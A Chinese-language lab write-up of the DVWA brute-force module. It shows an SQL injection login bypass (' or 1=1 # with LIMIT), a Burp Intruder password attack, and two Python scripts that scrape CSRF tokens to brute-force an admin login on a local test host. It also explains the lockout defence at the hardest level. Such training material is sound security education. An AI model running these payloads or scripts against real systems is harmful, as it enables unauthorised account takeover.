Brute Force
暴力破解。。。。没什么好说的,就是硬生生的破解下来。。。
LOW级别
页面
看起来是一个登陆界面。就用最传统的or 1=1实验一下(毕竟最低级别嘛)
解释一下or 1 = 1的原理吧:
登陆的语句,其实就是查找数据库中有没有这条数据存在。一般的sql语句如下:
select * from user where username = ‘xxx’ and password = ‘xxx’
当xxx变为用户输入的数据时。可以构造别有用心的数据。绕过这个语句。要绕过这个语句,就要使username和password不生效。所以可以使用注释符,将语句注释掉,就可以进行绕过了。
可以再username那里的数据变为 ‘ or 1 = 1 #
到sql语句中执行就变成了
select * from user where username = ‘’ or 1 = 1 #’ and password = ‘xxx’
因为#的存在,所以后面的语句都不执行,所以可以不提交password或者乱打
然鹅并不可以
。。。莫非low级别都转义了特殊符号嘛?还是看看源码吧。。。
可以看到。第15行判断结果的时候。他还判断了rows是否为1。难道说username为空的行不止1行吗?我们输出一下看看。加入一个var_dump(mysqli_num_rows($result));
可以看到输出了5.说明其实是我们已经绕过成功的,但是因为记录数不为1,所以被阻挡住了。
要绕过这个阻挡很简单。让返回的行数为1即可
mysql中使用limit来设置返回的记录数,这个通常用于分页的使用
成功绕过
Medium级别
我们使用之前的 or 1 = 1已经行不通了
我们来看看源码
这个__mysqli_ston的全局变量其实就是它连接数据库的句柄。其实就是mysqli_connect。这个具体在Mysql连接文件那里(dvwa/includes/DBMS/MySQL.php)。不用理会。
最重要的函数是mysqli_real_escape_string()。他的作用是把字符串进行转义。但是他只转移了如下字符串:
\x00
\n
\r
\
‘
“
\x1a
我们打印一下。var_dump($query)可以看到’确实被转义了
最重要的引号被转义了,所以我们也无法通过low级别的小技巧来注入登陆了。只能老老实实brute。这个主题就是暴力破解,所以就老实用吧==
开启kali。我们用brupsuite。把firefox的代理设置为burp的端口。如下:我这里是8080
接着就可以用浏览器访问网页了。我们输入用户名密码。就可以在burp中获取劫到的包。
快捷键ctrl + i把包转到intruder中去。intruder是一个攻击模块。
转到intruder中的Positions。这里特殊符号(看起来好像是$)之间的就是要爆破的数据。我们只需要爆破密码即可,所以我们手动去掉其他的$。先点clear $,然后就只给password加上$。
接着到Pyaloads中,我们设置一下字典文件路径。点Load加载文件。因为这是测试所以我随便写了几个密码。
接着切换到Options中点击Start attack
接着看到结果集。找返回长度不一样的一般就是正确密码了。因为爆破中很多都是失败的,失败的页面长度和成功的页面长度不一样,所以只要找不和大部分一样的那个一般就是了。
这里我们看到了两个不一样的。。。就用这些密码试试吧。。试了之后,是password是对的,但123pass的长度也不一样,但它并不是正确的密码。再测试一次,文件中加多一个password。结果如下
也是最后一个长度不一样,比其他的都小,估计是因为最后一个测试,返回数据没返回完。。?
我们还是看看源码吧,发现能限制爆破的貌似只有这个sleep()了
high级别
先截个包看看
可以看到,多了一个user_token。每次提交都会变。所以我们就不能像上一个方法那样子爆破了。我们看看网页源码,看看是不是在前端的hidden中写了这个token
可以看到,确实是有一个hidden在页面。思路就有了:每次请求页面--->获取token值--->提交。我们可以写一个小脚本来实现。这里我用的是python。
我们还是要通过brup抓包来获取请求头。因为他是用了session的,我们要在脚本那里伪造一个session。
代码:
urllib&urllib2版:
import urllib
import urllib2
#发送数据的格式
#GET /DVWA-master/vulnerabilities/brute/?username=admin&password=123456&Login=Login&user_token=6082ecd7d6594fb983e1817f19a40be9 HTTP/1.1
#请求头,就是之间在burp里面复制的
headers = {
'Host': '192.168.1.4',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://192.168.1.4/DVWA-master/vulnerabilities/brute/',
'Cookie': 'security=high; PHPSESSID=g9bla2962qqt07t32i1v8foko3',
'Connection': 'close',
'Upgrade-Insecure-Requests': 1
}
f = open('password.txt')
line = f.readline()
while line:
url = "http://192.168.1.4/DVWA-master/vulnerabilities/brute/"
#get the user token。发送时要带上伪造头。不然会报token错误
request = urllib2.Request(url,headers=headers)
user_html = urllib2.urlopen(request)
#print user_html.read()
userToken = user_html.read().split("name='user_token' value='")[1]
userToken = userToken.split("' />")[0]
data = {
'username': 'admin',
'password': line.strip(),
'Login': 'Login',
'user_token': str(userToken)
}
data = urllib.urlencode(data)
url = url + "?" + data
#密码爆破
res = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(res)
print "password: " + line.strip() + " " + str(len(response.read()))
line = f.readline()
f.close()
requests版:
import requests
#header
#GET /DVWA-master/vulnerabilities/brute/?username=admin&password=123456&Login=Login&user_token=6082ecd7d6594fb983e1817f19a40be9 HTTP/1.1
headers = {
'Host': '192.168.1.4',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://192.168.1.4/DVWA-master/vulnerabilities/brute/',
'Cookie': 'security=high; PHPSESSID=g9bla2962qqt07t32i1v8foko3',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
f = open('password.txt')
line = f.readline()
while line:
url = "http://192.168.1.4/DVWA-master/vulnerabilities/brute/"
#get the user token
user_html = requests.get(url,headers=headers)
userToken = user_html.text.split("name='user_token' value='")[1]
userToken = userToken.split("' />")[0]
url = url + '?username=admin&password='+line.strip()+'&Login=Login&user_token='+str(userToken)
response = requests.get(url,headers=headers)
print "password: " + line.strip() + " " + str(len(response.text))
line = f.readline()
f.close()
看看测试结果
事实证明,password就是正确答案
我们来看看源码吧
登录时调用了一个checkToken方法,我们去看看。
我们看到它判断了我们提交的token和它的token是否一致。这个就有效阻止了burp的攻击方式,但是因为它的token是在页面上的,我们可以通过脚本拿到token来提交。
impossible级别
不可能的级别。我们来看看源码吧
这里记录了登录失败的次数,如果登陆失败次数大于3就锁定了账号。这样子暴力破解就会非常缓慢,15分钟只能跑3个。所以就相当于没用了。